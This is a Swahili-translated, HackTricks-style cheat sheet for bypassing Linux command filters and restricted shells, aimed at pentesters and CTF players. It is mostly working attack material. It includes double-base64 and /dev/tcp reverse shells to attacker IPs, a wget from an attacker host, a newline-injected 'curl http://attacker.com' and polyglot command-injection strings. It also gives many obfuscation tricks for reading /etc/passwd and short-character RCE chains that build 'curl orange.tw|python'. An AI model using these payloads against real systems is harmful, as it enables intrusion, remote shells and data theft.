Bypass Linux Restrictions

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Kupita Kizuizi cha Kawaida

Kifaa cha Kugeuza (Reverse Shell)

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

Shell ya Kurejesha Haraka

#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

Pita njia na maneno yaliyozuiwa

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64


# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

Pita nafasi zilizopigwa marufuku

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

Pita nyuma ya backslash na mshale

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Pita mabomba

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Pita kwa kutumia uendeshaji wa hex

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

Pita kwa IPs

# Decimal IPs
127.0.0.1 == 2130706433

Uchukuzi wa data kulingana na wakati

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Kupata herufi kutoka kwa Mazingira ya Variables

echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/

Uchimbaji wa data ya DNS

Unaweza kutumia burpcollab au pingb kama mfano.

Vipengele vya Kujengwa

Kwa hali ambapo huwezi kutekeleza kazi za nje na una ufikivu wa seti ndogo ya vipengele vya kujengwa kupata RCE, kuna mbinu muhimu za kufanya hivyo. Kawaida hutaweza kutumia vyote vya vipengele vya kujengwa, hivyo unapaswa kujua chaguo zako zote kujaribu kukiuka gereza. Wazo kutoka kwa devploit. Kwanza kabisa angalia vipengele vyote vya sheli](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html). Kisha hapa una mapendekezo kadhaa:

# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!

Uingizaji amri wa Polyglot

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Pita regexes za uwezekano

# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`

Bashfuscator

# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'

RCE na herufi 5

# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder

RCE na herufi 4

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'

Kizuizi cha Kusoma tu/Noexec/Distroless Kupita

Ikiwa uko ndani ya mfumo wa faili wenye ulinzi wa kusoma tu na noexec au hata kwenye chombo cha distroless, bado kuna njia za kutekeleza programu za binary za kiholela, hata shel!:

Kizuizi cha Chroot na Jails Nyingine Kupita

Marejeo na Zaidi

Tumia Trickest kujenga na kutumia mifumo ya kazi kwa urahisi ikiwa na zana za jamii zilizo za juu zaidi duniani. Pata Ufikiaji Leo:

Jifunze kuhusu kuvunja usalama wa AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)!

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